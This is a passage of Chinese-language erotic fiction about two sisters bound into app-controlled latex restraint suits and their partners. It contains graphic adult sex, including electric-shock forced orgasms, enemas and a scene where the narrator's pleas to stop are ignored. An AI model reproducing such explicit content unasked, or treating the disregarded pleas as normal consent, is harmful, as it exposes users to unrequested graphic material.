搓揉、吸吮、舔舐,不停地搜索并刺激着我每个部位的敏感带,而我的理智与情
欲则是在电击与高潮的矛盾中拉扯着,不知道该如何是好。随着时间过去我的性
兴奋与快感也累积到了一定程度,仅靠着最后一丝理性与恐惧克制着自己不要到
达高潮,沛海则是努力不懈地将我推往电击惩罚的悬崖与高潮宣泄的瀑布前进。
我渐渐地开始失去冷静思考的能力,张开嘴唇大口地喘着气同时发出断断续续的
叫喊和呻吟。

「不…不要…呀,沛…海,快、快停…下、下来,我…我忍不…不住…啦" 」
我开始歇斯底里地求饶着,但沛海仍然不理会我的哀求,不停地在我的乳房和阴
部上搓揉着,然后用他的嘴巴和舌头将我的双唇给堵住,让我连最后的求饶也无
法发出。「呜""呜…唔唔…啊""喔…呜呜""嗯…唔" 嗯嗯…啊」我试着要发出声
音,却都被沛海霸道的舌吻给压制住了。

「咿" 呀""""""""啊""""」终于在一阵尖叫声中,从阴道那传来强烈的痉挛
与全身的肌肉抽搐着,阴蒂和乳头同时被一股强烈的电流袭击着,我的脑海已是
一片空白,这次的惩罚带来的结果与上次完全不同,不知道是否因为阴蒂与乳头
同时被紧束着的关系,强烈的电击竟然将我带到高潮的顶峰,突破了我以往所有
的高潮体验,大概整整持续地维持了两三分钟之久,我才终于回过神来,但事情
还没完,沛海仍然不停地在我的敏感带上刺激着,过了五分钟后第二次电击袭来,
我有在次被推上了高潮的顶峰,这次我几乎快昏了过去,全身都弓了起来,手脚
肌肉痛苦地抽搐着,我相信自己一定潮吹了,因为我感觉到大腿一阵凉意。

第二次高潮退去后,浣肠的不适感突然开始变得明显,也许是连续两次强烈
的高潮让原本被压抑住的排便感也变强烈了,但我知道电击还没结束,只能祈祷
自己可以撑过第三次的电极。沛海依然卖力地在我的全身上下按摩吸舔着,完全
不在意我的身体反应,我虚弱地想要他停止刺激我,但发现自己已经说不出话来
了,甚至心里开始畏惧着第三次的高潮来临,但我知道这是不可避免的了。

「啊""" 喔""""咿" 咿" 咿" 哈…呼…哈…」三道电流再次从我的乳尖和阴
核中流窜而过,我的全身肌肉再次绷紧,第三次高潮强烈冲击着我的脑海,阴道
和肛门的括约肌紧紧地收缩着,突然我好希望口中也能有个东西可以堵住我的嘴
巴,可惜现在口罩并没有戴着,我那凄厉的叫喊声肯定让沛海给听见了,自己像
疯婆子一样的模样想必都被他一目瞭然了吧。

「晴,你还好吗?还撑得住吗?」沛海总算停止了刺激我的敏感带,只是轻
轻地按摩着我的手脚,让我痉挛的肌肉疼痛舒缓许多。

「太…太…过分了,怎…怎么…可以…这样」我喘着气说不出话来,心里对
沛海这次的对待真的是不知待该怎么办,从未体验的强烈高潮却也伴随着强烈的
痛苦,虽然那一瞬间的快乐与宣泄的快感的确无与伦比,但接下来的全身痉挛与
疼痛也是难以承受,有生以来第一次的连续三次强烈高潮,让我上了天堂也下了
地狱。

「对…对不…起,我没想到你会这么难受」沛海似乎发觉自己玩过头了,赶
紧将我的手解开,让我能用较舒服的姿势躺着,我看见他眼里泛着泪光,心疼不
舍地望着我,双手不停地按摩着我的身体。看见沛海难过的样子让我原本想责怪
他的心思也没了。

「别…担心,我…没…没事…了」我虚弱地伸手握着沛海的手,勉强挤出了
个笑容,沛海依然内疚地看着我。「都怪我不好,没有考虑到你的身体能不能承
受」

「我……不…怪你,下次…别…这样…了,我…会…报仇…的」我做了个鬼
脸,沛海才被我给逗笑了。

「呵…好好…一定会给你报仇的机会的」沛海轻轻地将我散乱的头发拨到两
旁,在我的额头上深深地吻了一下。

休息了好一段时间后,我的身体才逐渐恢复力气,沛海则是做在我身旁照顾
着我,偶尔跑下楼去装水给我喝,或是到浴室里将毛巾洗干净,再回来帮我擦干
身体。我想起乳头和阴蒂的紧束还没解除,浣肠的等待时间也早已过完,于是跟
沛海说了一声,沛海又抱歉地跟我说声对不起,他都忘了帮我先将臂环和腿环的
解锁功能关闭。在我做好心理准备后便将手臂紧贴在身体两旁,接着将两腿也合
紧,沛海看了我点点头之后将手机上的设定程式开启,我看见他在萤幕上点了几
下,马上乳头和阴蒂就传来紧束功能解除后血液回流造成的刺痛,我闷哼了一声
忍住不要叫喊出声。

「一定很疼吧,都是我不好」沛海轻轻地用手掌按压着我的乳房和阴部,试
着减少我的痛楚,虽然我知道那并没有太大帮助,但还是安慰着沛海说自己好多
了。

「可以帮我把所有的功能都关闭吗?除了口罩之外」沛海听了后点点头答应,
拿起高跟鞋帮我穿上后,接着用手机将高跟鞋的解锁功能和这套服装剩下的隐藏
功能都关闭。

「我想先去排便,肚子很不舒服」虽然我很不想亲口说出这样的话,但肚子
内浣肠液的强烈排便感让我实在忍不住了,只好请沛海扶我到浴室里做排便。

「嗯,没问题,我抱你」沛海一把将我抱起,带着手机走到浴室,小心地将
我放在马桶上坐好,然后按下了排便开关,一阵哔啵哔啵的声响紧接着稀哩哗啦
的水声从我的胯下传出,我害羞地撇过头去不敢看着沛海的脸。

「没关系的,小傻瓜」沛海拿了一条毛巾用热水先浸湿了之后扭干,等我排
完便后递给我让我将自己的胯下给擦干净。

「今天最讨厌你了啦」我没好气地说着,心里却是有股幸福的甜蜜感,一个
看过自己所有丑态的男人,一个不在意自己身上这套服装的男人,一个不顾安危
拯救自己的男人,一个愿意待在这样的自己身边的男人。

「是是是,都是我的错,你别生气了,我明天煮好吃的给你」沛海看见我恢
复了斗嘴的力气,也放下心来了开始跟我说起玩笑话。

「现在换我报仇了,我们回房间吧」沛海扶着我慢慢走回房里,我示意他靠
坐在床头的枕头上,然后要他将双腿张开,同时规定他不准用手按住我的头。

「不可以用你的手按住我的头,不然我就咬你的小弟弟」我一边拿着发圈束
起马尾,一边恐吓着沛海要他不准犯规。然后我跪坐在他的两腿之间,趴在他面
前用手套弄着仍然勃起的阴茎,我的指尖在他的龟头上轻轻地画圈圈,沛海只能
无奈地看着我玩弄他的小弟弟却不能抗议。

「呵呵,你的小弟弟罚站了好久啰,想不想休息一下啊」我轻轻地对着他的
尿道口吹着气,用舌尖轻舔了几下,沛海咽了咽几下口水,迫不及待地说「想呀!
当然想」。我抬起头笑着对他说「没这么容易,记得,不可以用手喔" 」接着我
开始用嘴巴含住沛海的龟头,慢慢地上下活动着我的头,让沛海的阴茎在我的嘴
里进进出出,我的手指也没闲着,在沛海的阴囊上把玩着他的睾丸,让他开始不
停地发出呻吟声。

龟头上的尿道口开始分泌出带有尿骚味的前列腺液,我戴着手套的手指沾满
他的分泌物后也变得更滑溜了,于是我换成用双手交互握住他的阴茎上下套弄,
但是我故意控制着力道和速度,不让沛海轻易地达到高潮,我明白男人和女人可
不一样,是无法连续高潮的,因此机会只有一次。过了大约十分钟,沛海被我弄
得气喘吁吁,但是又不能强迫我让他高潮,他知道这是我在报复刚才被他强制连
续高潮的结果,因此也不敢多说些什么,只好让我继续玩弄他的小弟弟。

我开始觉得累了,加上也已经玩得够久了,是该让沛海可以解脱了,于是开
始加强口中的吸吮力道,舌尖也不断地快速舔舐刺激着沛海的龟头和马眼,沛海
习惯性地又将手放在我的头上,但是却没有用力按压我的头,这次我们有言在先
他不敢违背。我开始左右摇着头让沛海的阴茎在我的嘴里左右甩动,用脸颊的肌
肉磨擦着他的龟头,然后又换成深插的方式让他的龟头紧紧包裹在我的喉咙中上
下抽动,如此一来就算不靠沛海自己的力量也能产生让阴茎在我口中快速移动的
效果,隔没多久在一次深喉的过程中,沛海终于忍不住射精了,他的精液就直接
往我的肚子里灌,我怕被呛到只好先憋着气等他高潮结束后,才慢慢地将阴茎从
我的喉咙中退出,但是我仍然含住龟头没有放开。

「哦""唔…太棒了""」沛海舒服地说着,却不知道我接下来的计画。我心里
笑了笑,开始继续在沛海的龟头上吸舔着,弄得他继续被刺激地频频呻吟着,男
人刚高潮过后的阴茎是最敏感的,若是继续刺激的话就会像我刚才连续高潮一样
反而变得痛苦而不是爽快。

「喔""别了…停止吧,哦""呃…晴""别这样…。」沛海忍受不住我的持续攻
击,开始求饶了,我的目地已经达到,于是最后用力含住他的龟头一口气将尿道
里残余的精液吸出,然后才放开他那已经开始变得松软的阴茎。

「谢谢…饶了我一次」沛海松口气笑着对我说,我含着口中还没吞下的精液,
呜呜地指着他表示再有下次试试看。

「做完了正事,该准备睡觉了吧」沛海拿起了床头柜上的口罩,挂在手上晃
了晃,似乎看透了我想法,我皱了皱眉头嘟着嘴,表现出被他看穿了心思很不开
心的样子,沛海哈哈地笑了。

「晴最喜欢我的味道了,对不对?」沛海将口罩内侧的口塞朝向我,示意我
张开嘴巴,我脸红着仰起头,将口中还含着剩余精液的双唇打开,让沛海帮我将
慢慢将口罩给戴上,我从沛海手里接过手机,然后把口罩的锁定功能启用,口塞
开始在我的嘴里膨胀延伸,加上残留的精液味道,我又感觉像是正在含着沛海的
阴茎了。接着我将瑜珈紧缚的时数改成最低的8 小时,然后把手机给放回床头柜
上,将双手往背后合拢并成祈祷的姿势,启用了瑜珈紧缚的功能。沛海扶着我慢
慢躺下,帮我把枕头乔好位置,接着拉起棉被盖上,他那粗壮的手臂环抱着我的
后腰,我看着沛海的眼睛笑了笑,沛海轻吻了一下我戴着口罩的嘴唇后说了声晚
安,我也用鼻尖轻碰了一下他的鼻尖,然后把额头靠在他的胸膛上,经过这场激
烈的风暴后我们都累了,于是很快地就进入了梦乡。

历史总是不断地重演,隔天当我们吃完早餐整理好行李准备回家时,沛海从
外面走进来一脸烦恼的样子跟我说,我们可能今天回不去了,我好奇地问为什么,
沛海于是带我出去看看,天呀,整个地上都积了厚厚的一层雪,就连车子也被埋
在雪堆中了,更别说要离开这里的小路,想必也是都被昨晚的风雪给覆盖了吧。
我们只好回到了小屋内,沛海说他要去看看储藏的食物还够不够,我则是打开电
视看一下气象报导,看看这场积雪什么时候会融化,不看还好一看让我心头都凉
了,没想到这场突来的暴风雪竟然还要维持一个礼拜,这表示我跟沛海要被困在
这湖边小屋至少一周了。

沛海回到客厅时,我把刚才气像的预报结果跟他说,他也很无奈地说看来老
天爷故意要留我们在这里度过一个星期了,幸好他刚看过储藏的食物跟我们这带
来的食材应该可以足够撑到一周,暂时吃的问题就解决了。但我却想到另一件重
要的事,家里的那台饮水机之前被我用了一个月都没有补充,剩余的营养液可能
不够一个礼拜了,这样湘妤就没有东西可以吃了,我的心里开始着急了起来,赶
紧拨了视讯通话给湘妤,跟她讲我们这边的情况后湘妤只是皱了皱眉头给了我一
个苦笑的眼神,我想她心里大概没想到现世报来得这么快,这是换我让她遇上大
麻烦了。

我请湘妤到饮水机那看看营养液还够用几天,湘妤转身用膝盖走路的方式摇
摇摆摆地离开了房间,过了好一会儿才回来,试着用她仅剩的肢体语言点头摇头
跟我说只剩下两天了,明天过后她就只剩下水跟我这次帮她准备的饮料和伏特加
调酒可以喝,但这些东西的容量也顶多再撑一天而已,因为这次本来只打算玩一
天之后就回家了,并没有多为她准备饮水机的供应量。我想来想去不知道该找谁
来帮忙,知道我们姐妹这情况的目前也只有沛海而已,青彦已经和湘妤分手了更
不可能找他来帮忙,这下子可麻烦了我不知该如何是好,只能祈祷这场暴风雪提
早结束。

过了三天后我发现积雪愈来愈深,丝毫没有减缓的情况,尽管我每天都和湘
妤连系确定她安然无恙,但我知道今天开始湘妤就只剩下水可以喝了,湘妤虽然
没有表现出很担心的样子,因为我们都知道只靠喝水还是可以撑个几天不会怎样,
但我还是很伤心让湘妤一个人待在家里饿着肚子,说着说着我就在镜头前哭了起
来,湘妤也无法安慰我只能透过视讯发出唔唔的声音,叫我不要太难过。结束了
视讯通话后,沛海抱着我安慰我别太担心,湘妤应该不会有事的,只是我仍然忍
不住啜泣着,身为姊姊却没有办法好好照顾妹妹,还让她自己一个人挨饿受冻,
我想家里那边应该也变冷了许多,但是湘妤现在的样子不可能自己去把衣柜里的
厚棉被拿出来,更别说要打开暖气了。

沛海知道我一定无法放心下来,也苦恼着要怎么尽快解决被大雪封住的道路,
他打了电话给附近的消防局,问看看是否能够协助清除积雪,但是对方说目前的
剷雪车都被调派到主要干道上了,而且确认我们的储存食物还足够,就请我们先
等这场风雪停止后让积雪融化再说,沛海也不好意思勉强对方,毕竟现在这场雪
灾有许多地方要优先救援。接着沛海也打电话回家里说明一下这里的情况,跟雨
荷聊到我和湘妤的情况后,雨荷突然提议说她可以帮忙解除湘妤的问题,问我愿
不愿意让她到家里去。我想了一下后便答应雨荷麻烦她到家里一趟,这几天可以
的话也帮我照顾一下湘妤。

雨荷跟我们姐妹都认识,高中时又是我的同班同学,只是因为当时父母过世
的关系而且后来也毕业了所以渐渐失去连络,虽然现在因为沛海的关系又有了连
系,但她跟湘妤其实并没有很多交集,我还是有点担心湘妤对于被雨荷看见她现
在的模样会不会有什么影响,毕竟就连我自己也没让雨荷见过这套服装的瑜珈紧
缚模样。我考虑了一下后,又拨了视讯通话给湘妤,跟她说了会让雨荷到家里去
照顾她,湘妤一听到我找雨荷来帮忙时,紧张地戴着口罩发出呜呜呜的声音,我
不明白她到底是答应还是拒绝,于是我问了湘妤是不是担心被雨荷看见现在的样
子,湘妤马上点点头发出哼哼的声音回答,我又再问了她是不是不想要雨荷到家
里,湘妤犹豫了一下,低着摇摇头表示不是。毕竟现在最能理解我们的情况和这
套服装的也只有雨荷了,我安慰着湘妤让她不要太担心,再说雨荷是沛海的妹妹
何况她也穿着类似的服装,多少也听说过我们的服装功能,应该不会被你的样子
给吓到或是取笑你的。

终于解除了湘妤的危机后,我也才放下了心中的大石块,沛海问我想不想到
外面玩雪,我马上一口说好,于是我戴上口罩然后解除大腿环的锁定,这样等等
打起雪仗时才不会碍手碍脚的,戴上毛帽和围上围巾后,我和沛海就在前面的院
子里开始堆起雪人,我趁他不注意的时候偷偷捏了个雪球砸向他的背后,然后隔
着口罩唔唔唔地笑着,沛海也不甘示弱地捏起雪球还击,我们就这样来来回回地
玩了好一阵子,直到彼此都累了之后,沛海才牵着我的手沿着堆满积雪的小径散
步休息,经过前几天我拍照时跌入湖中的木栈旁,沛海还贼笑着对我使了个眼神,
似乎是在提醒我那件糗事,我故意用手肘顶了一下沛海的身体,要他不准再取笑
我。

(25)

沛海将我家的地址告诉雨荷后,雨荷便马上开车出门了,到了家里的门口时,
雨荷先按了两声电铃,然后输入我跟她说的密码,接着打开门自行进去,在玄关
脱下鞋子时,雨荷先是喊了几声湘妤的名字,告诉湘妤是雨荷姊来看她了,但一
走到客厅却没有看见湘妤的踪影,于是雨荷就四处走走看看,终于找到我们的房
间后才进去里面看了看,发现原来湘妤正窝在被子旁睡觉。雨荷走近床边将被子
拉起盖在湘妤的身上,然后走到厨房照我说的位置找出了营养液的补充瓶,接着
将那台饮水机装着营养液的容器给补满,才又回到房间里看看湘妤。

「这房间的温度似乎有点低呀」雨荷嘀咕着开始寻找暖气的开关位置,然后
将房里的温度调高了一些,转身看了一下湘妤的样子,觉得这件被子似乎太薄了,
于是拿起手机拨了电话给沛海,沛海将手机递给我后,我告诉雨荷可以从衣柜里
将厚棉被给拿出来,于是雨荷挂了电话,找出了厚棉被帮湘妤盖上。这时雨荷发
现湘妤的状况有点不大对劲,额头上冒出了许多汗珠,雨荷将手掌轻轻放在湘妤
的额头上,尽管隔着一层手套仍然可以感觉到一股热度,雨荷心里惊呼「糟糕,
着凉了!」

当我再次接到雨荷的电话告知湘妤发烧时,我的心里急得像热锅上的蚂蚁,
可是外头风雪还没停止,我和沛海无法离开这个地方,也让我开始愧疚了起来。
沛海看见我伤心的样子,只好不停地安慰我,雨荷也赶紧安抚我说湘妤会没事的,
她会好好替我照顾湘妤,要我不要想太多。听到雨荷这么一说之后,我才稍微放
心了一下,现在也只能祈祷风雪早点停歇,等积雪融化后我们才能返家。

两天后湘妤的病情渐渐好转了,醒来后发现是雨荷在照顾她时,湘妤也忘了
当初还担心被雨荷看见自己模样的事,感动地将头靠在雨荷的手上,唔唔地发出
声音,谢谢雨荷能够来陪伴她。雨荷也没特别提起湘妤身上服装的事情,就像习
以为常一般,每当湘妤发烧时雨荷就用毛巾泡过冷水拧干后擦拭着湘妤的身体来
降低体温,因此雨荷早已摸遍了湘妤身上的每一处角落,想必大概也发现了湘妤
阴部时常分泌出的体液了吧。

隔天湘妤已经完全康复了,从雨荷的电话中得知时我超开心的,沛海也笑着
对我说「你看吧,就说湘妤会没事的,瞧你这几天神经兮兮的」。我因为戴着口
罩没办法回嘴,只能斜着眼角瞪他一眼。湘妤的瑜珈紧缚刚好到今天也结束了,
终于松绑了之后,湘妤便拿着平板用手写输入跟雨荷聊天,雨荷笑着问说为何不
先将口罩给脱掉,湘妤只好解释着写说因为她正在努力达成Level 6 的条件,所
以还不能解除或开启现在身上服装的所有锁定及隐藏功能。

雨荷好奇地问什么是Level 6 ,湘妤只好一五一十的把我之前发生的事写给
雨荷看,一来一往便花了她们两个整个下午的时间,但是湘妤和雨荷似乎聊得很
起劲,一点也不觉得累。经过这几天的相处加上湘妤的说明,雨荷渐渐了解我们
现在身上这套服装的所有功能和特殊之处,包括之前每次帮湘妤浣肠后,雨荷总
是纳闷为何湘妤等了好久才去排便,难道憋着都不会难受吗?现在她才总算明白
了。

有了雨荷的陪伴,湘妤这几天也就不寂寞了,两个人的关系火速进展且无话
不说,湘妤甚至将和我之间自慰的事情也告诉雨荷,让雨荷听得目瞪口呆脸红口
干心跳加速。雨荷知道我们这套服装其实会不停地刺激我们的性欲之后,心里似
乎有个念头开始酝酿,直到很久之后我和湘妤才明白了雨荷的真正想法。

时间一晃眼就过了两年,我和湘妤都已经毕业然后顺理成章到仙姿公司成为
正职员工,雨荷后来也成为了我们的同事,我的主要工作就是负责运用公司研发
成功的新材料来开发周边辅助产品,当然也包括我现在身上穿着的这套服装的下
一代产品。这间公司里每个员工在平常的一般服装之下也都穿着类似的乳胶套装,
因此对于我们来说真是再适合不过了,一点也不必担心他人的异样眼光。

当年那场暴风雪可以说是雨荷和我们姊妹之间的转棙点,就连沛海也不晓得
原来自己的妹妹会隐藏这个欲望这么多年,但后来我和沛海也只能欣然接受,至
少雨荷和湘妤她们觉得幸福就好。想起当年湘妤完成了Long Duration Training
后,第一件事当然就是开启高潮和自慰功能,只不过那时候和她一起度过美好的
时刻的人并不是我,而是雨荷。也许是湘妤因为分手的关系变得不信任男生,也
或许是刚好因为那场病让湘妤觉得雨荷才是她真正需要的人,又或者其实湘妤本
来也就喜欢女生多于男生一点,否则最初也不会想和我一起自慰高潮了。

虽然后来我们发现雨荷和湘妤互相对彼此有好感,起初沛海也有点担心家里
的反对,但没想到他母亲竟然早就知道雨荷喜欢女生这件事了,而且她高中时暗
恋的对象竟然就是我,因为我当时穿戴着那套试用的裤袜和口罩,深深吸引了雨
荷的目光,直到毕业后我们渐渐失去连络,雨荷还消沉了好一阵子。雨荷因为从
小穿着乳套服装导致心里其实很自闭,不愿意跟其他人接触往来,更别说是同年
龄的男生了,几乎只愿意跟比较要好的女生交朋友,大概也因此才变成喜欢女生
的倾向,他们父母也不反对雨荷和湘妤在一起之后,沛海和我自然也就顺其自然
了。

因为我和湘妤原本住的地方距离公司太远,加上我和湘妤身上穿的这套服装
完成了Long Duration Training之后,那些新增的限制条件让我们每天通勤变得
很不方便,有一次因为地铁太挤被旁人发现我们身上的异状时还被其它乘客暗骂
是变态淫荡女,让我和湘妤回家后抱在一起哭了好久。后来我们决定将住的地方
搬回老家,那个自从爸妈过世之后,一直被我和湘妤给刻意遗忘的老家。起初我
跟湘妤提起搬回老家时也很担心湘妤的反应,结果湘妤只是淡然地说也好,至少
离公司近上下班方便,过了这么多年爸妈离开的事实我们都已经坦然接受了,回
到老家整理时反而怀念起小时候爸妈和我们相处的美好时光。

在搬家的那阵子雨荷和沛海也都来帮忙,后来雨荷问说是不是可以搬来跟我
们一起住,毕竟她们家离公司也蛮远的,而且雨荷会开车可以载我跟湘妤一起上
下班,因为老家的空间比较大,加上雨荷跟湘妤现在的感情也稳定,于是我跟沛
海讨论后就答应了,而湘妤她当然是第一个举手赞成的啰。因此后来老家重新装
潢时,原本我跟湘妤的房间就变成我自己独享了,原本爸妈的房间比较大一点就
让湘妤跟雨荷她们俩使用。当然厨房跟浴厕也都装上了和之前住的地方那些饮水
机和马桶等等一样的设备,只不过现在安装的设备是后来根据我和湘妤的使用经
验又改良过的,毕竟这可是我们每天都要用到的东西,而且因为我和湘妤都是员
工加上沛海和雨荷的父母也是大股东,所以这些新装置后来也都由公司特别免费
提供。

因为在仙姿公司上班很多时候可以不必解除服装的锁定功能,也不必担心被
同事看见服装而刻意启用隐藏功能,只不过常被问到为何我的服装会有项圈手环
脚环等配件,我只能简单地说明这是公司新的试验服装,而我是负责测试的人员,
当然这也是事实没错。每天被扣除的点数少了许多再加上每晚下班回家吃完饭后
我就会跟湘妤一起启用瑜珈紧缚的功能,大约每隔半年我们就可以累积到启用自
慰功能的点数,只是雨荷常常抱怨因为我跟湘妤两个人只能在地上用膝盖走来走
去,所以很多家事都是她在弄,不过我们都知道雨荷只是说笑的而已,其实她每
天看着我跟湘妤全身被紧缚的时候可兴奋着呢,偶尔还会帮着湘妤故意来捉弄我。

这个周末我跟湘妤的自慰点数即将集满,雨荷早已等不及要跟湘妤一起尽情
宣泄,平常总是只有她自己一个人自慰很过意不去,而湘妤只能启用瑜珈功能当
做雨荷的兴奋剂而已。而我也期待着终于能跟沛海一起享受鱼水之欢,否则每次
都只有我精疲力竭地帮沛海口交,自己则是被弄的欲火焚身无法宣泄,虽然也曾
想过让沛海再帮我做一次强制连续高潮,但那强烈的后遗症最终还是让我打消了
念头。

周五晚上我跟沛海吃完晚饭后,沛海似乎有什么话想跟我说却犹豫不决,后
来我忍不住了直接问他,沛海才满脸歉意的说明天临时被外派出差,因此这个周
末没办法陪我一起共度了,我听了之后也只能无奈地低着头叹气,沛海则是安慰
着我说一定会带特别的礼物回来给我,但其实我最想要的礼物就是能跟沛海一起
享受男女之欢,其它的我都不需要。沛海为了让我开心特地骑着重机载我到一处
山腰上的私房景点,我俩坐在一大片草地上远眺着这个城市的绚丽灯火,让我的
心情也变得开朗了起来,我问沛海这次出差要去多久,沛海说这次是要去跟国外
的合作团队讨论明年的新企画,因此时间会待得比较长,也许要两个月左右,仅
管这不是沛海第一次出差了,但长达两个月的时间都见不到他还是让我感到很失
落。

沛海搂着我的纤腰将我的脸颊倚靠在他的肩膀上,沁凉的晚风徐徐地吹过我
的发梢,这浪漫的气氛让我们不自觉地开始亲吻了起来,沛海的双手也在我身上
的敏感带四处抚摸,我也卸下了刚才的烦闷情绪,开始配合着沛海的节奏爱抚着
他的身体,彼此的舌头在对方的口中不停地交缠着。我感觉到沛海的阴茎开始变
得硬挺了,心想这次分离就要等两个月后才能见面,于是决定在这里给沛海留下
一个难忘的回忆,免得他在国外看到漂亮的女生就忘记我了。

我将沛海推倒在草地上躺平,接着用手退下了沛海的裤头,轻柔地掏出他那
早已坚硬如石柱的小弟弟,沛海没想到我竟然敢在这郊外四处没有遮蔽的地方帮
他口交,一开始还紧张地转头左右确认附近有没有其它人,不过这个地方大概很
少人知道,不然也不会是私房景点了,今晚只有我跟沛海两个人独享这片空旷的
草地和美丽的夜景。沛海的双眼仰望着星空,微笑着享受我提供的专属VIP 服务,
如同往常沛海最后在我的喉咙里射精,接着我用舌头和嘴唇将他的阴茎给清理干
净后,沛海亲自为我戴上口罩并且用手机将锁定功能开启,沛海凝视着我的双眼
在口罩上轻轻地一吻,深情地对我说了一声「我爱你」,用他那强壮的双手环抱
着我,一起躺在草地上看着满天星空,这瞬间我忽然觉得自己好幸福。

隔天清晨,雨荷开车和我一起送沛海到机场,在海关入口前我依依不舍地和
沛海紧紧地拥抱着,直到雨荷在一旁假装咳嗽暗示我们差不多了,沛海才笑了笑
给了我一个离别之吻,让我们目送他出境。回到家后发现湘妤已经起床等待着瑜
珈紧缚的时间结束后,可以和雨荷来场久违的云雨之欢,回到自己的房间后,看
着手机上Masturbate的点数已经满了,而我却不晓得该不该使用,心想着自己有
办法一个人到达高潮吗?

走到浴室给自己做完浣肠后,我启用了马甲隐藏的功能,看着镜中的自己那
浮着红晕的脸颊,想起昨晚在草地上帮沛海口交时的情景,不自觉地将左手伸往
胯下一摸,发现内裤里的卫生棉早已被溢出的分泌物给濡湿了,我将沾满分泌物
的手指伸进口中试着用舌尖舔了几下,一股酸酸咸咸的淡淡腥味让自己的性欲再
度高涨了起来,于是我也不想忍耐了,回到房间后将口罩戴上但没有关闭解锁功
能,我只是不希望被湘妤她们听到自己的淫荡叫喊,而且含着口塞可以让自己感
觉像是在帮沛海口交一样。

接着我开启了高跟鞋和大腿环的解锁功能,虽然已经有心理准备不过因地和
乳头紧束那瞬间的痛楚还是让我忍不住发出呜呜地叫喊,心想幸好自己有先戴上
口罩了,湘妤和雨荷应该不会听见才是。当阴蒂上的疼痛慢慢麻痺后,我便把自
慰功能开启,轻轻地用手指按摩着阴部和乳尖的位置,试着舒缓一下被紧束时的
不适感。要启用Orgasm必须等浣肠等待时间过去才行,还有将近两个小时的时间
该怎么做才好,我想了想之后拿出了去年湘妤送我的生日礼物 -遥控震动跳蛋。

原本这是雨荷自己自慰时使用的器具,因为和湘妤在一起后,湘妤觉得这玩
具很好用,于是就买了一个送我,虽然我一直都没使用过,毕竟除了自慰功能开
启时,在阴部的那层硬壳阻挡下任何震动玩具都没办法产生刺激,而之前每次启
用自慰功能时都有沛海在,所以我也不需要使用这颗跳蛋。照着说明书的使用方
法将电池安装好后,我左手拿着遥控器打开开关,右手拿着不停震动的跳蛋往自
己的阴部压下,一阵轻微的搔痒感传到了我的阴唇,一股舒畅的电流沿着背脊流
到脑后,我欣喜地发出唔唔的声音,可惜就算我将震动的强度调到最大,阴蒂使
用那里始终感受不到刺激,只能藉由阴唇周围来提升兴奋感。

看来除非启用高潮功能才能让阴蒂和乳头感觉到跳蛋震动了,虽然这早已是
预料中的事,我叹了一口气,吸吮着嘴里的口塞,左手放下遥控器在自己的乳房
上搓揉着,右手依旧拿着跳蛋刺激着阴部那目前唯一有感觉的部位。这两个小时
的时间感觉好漫长,尽管自己已经是全身发热满头大汗,但也只能无奈地徘徊在
高潮的边界之外,心底恨不得可以马上启用高潮功能,我闭起眼睛讨在床上想像
着如果沛海可以在身边多好。

「姊" 没想到你已经先偷跑了!」不知道湘妤何时走进我的房间,正站在床
前看着我说。

「呜…唔唔…」我惊讶地睁大眼睛,摇着头却不知道该怎么表示,赶紧拉起
被子盖住自己的裸体,然后脱下没有锁定的口罩。

「你怎么突然跑进来也不敲门」我不悦地责怪湘妤,其实是想掩饰自己被抓
到自慰的心虚反应。

「我有敲门啊" 可是你一直没有回应,所以我才进来看看你是不是有什么事,
哪知道姊你在偷偷自慰」湘妤一脸不屑的表情,最后自慰那两个字还特别加重音,
像是抓到了我的小把柄。

「我哪有…。偷偷…」后面那两个字我羞愧地吞了回去,想必自己现在的脸
颊一定是红的跟苹果一样了。

「好啦" 姊,不跟你斗嘴了,我知道学长他出差去了今天一定没人可以帮你,
所以我问了雨荷愿不愿意跟我们一起High,雨荷也答应了」接着湘妤就转头喊了
雨荷的名字,雨荷才走了进来。

「你…你们…哎唷" 」我一时不知道该说什么了,看着雨荷一脸尴尬的样子,
我也无语了。

「对不起…我有跟湘妤讲过…湘晴你可能会不愿意这样」雨荷看见我的窘样,
赶紧跟我道歉。

「姊" 你别这样啦,反正学长又不在,以前我们两个也都是一起自慰的呀,
大家都是女生嘛" 没什么好担心的,大不了我跟雨荷姊会帮你向学长保密的,OK?」
湘妤大喇喇地笑着说,然后就脱下了自己的内裤。尽管现在家里多了雨荷,她依
然习惯不穿衣服到处走动,除了穿着内裤之外,但那也只是为了方便用卫生棉。

「湘晴,如果你不喜欢也没关系的,我跟湘妤就先出去了」雨荷拉着湘妤的
手,示意她不要勉强我。

「等等…我不是这个意思,只是…突然之间还不习惯…」我害羞地说着,湘
妤马上高兴地跳起来。

「你看你看我就说吧,我姊一定会答应的」湘妤马上帮雨荷也把家居服给脱
下,接着雨荷害羞地下自己的内衣裤。

「三个人…要怎么做?」我犹豫地问着,湘妤和雨荷听了后相视一笑,然后
爬到我的床上,将棉被给掀开然后丢到地上,因为这张床是我和湘妤以前睡的双
人床,所以挤了三个人还算勉强。

「姊,你没有把手套跟丝袜给隐藏的样子挺好看的,我也要学你」湘妤说完
后回到她的房间,拿起手机关闭了手套和丝袜的隐藏功能,不过没有解除身上的
银绳项圈手环脚环的隐藏功能,然后又带着手机走进我房里。

「雨荷你看,我的样子也很漂亮吧」湘妤得意地在我跟雨荷面前展示着自己
的身材,雨荷开心地点点头回应。

「不过湘晴你怎么还有这绳子跟项圈?」雨荷好奇地问着。

「因为姊喜欢被绑着的样子嘛" 对不?」湘妤不等我回答马上把话接了过去。

「你别乱说,我只是…忘了隐藏而已」我心虚地说着,感觉脸颊又发烫了起
来。

「呵呵…不管哪样都很好看…真希望我也…」雨荷说了一半就摇摇头,觉得
自己说了不该说的话。

「好啦好啦,姊你的浣肠等待时间也差不多了吧,赶紧来办正事吧」湘妤跪
坐在我的脚边,然后鸡婆地把我的小腿给折叠起来,接着看我将手臂伸到背后,
启用了瑜珈紧缚后,高潮功能也跟着开启了。

「雨荷姊,这颗跳蛋就交给你啰" 」湘妤笑着说完,也让自己变成了瑜珈紧
缚的姿势,然后被对着我跨坐在我的肚子上。

「嗯…你慢点呀" 」我试着挪动了身体让自己躺平,少了双手的支撑动作不
是很灵活,然后看见湘妤将她泛着光泽的阴部就摆在我的眼前。

「哦""齁""」湘妤马上先展开了进攻,用她的舌尖舔着我的阴蒂,雨荷在一
旁用跳蛋刺激着湘妤的乳尖,同时另一只手捏着我的乳头搓弄着。

「嗯…唔…呜呜」湘妤接着将臀部整个压在我的脸上,我的口鼻都被她的阴
部给盖住,只好张开嘴唇含住她的阴唇,同时用舌尖舔着他的阴蒂,湘妤也发出
快乐的呻吟。

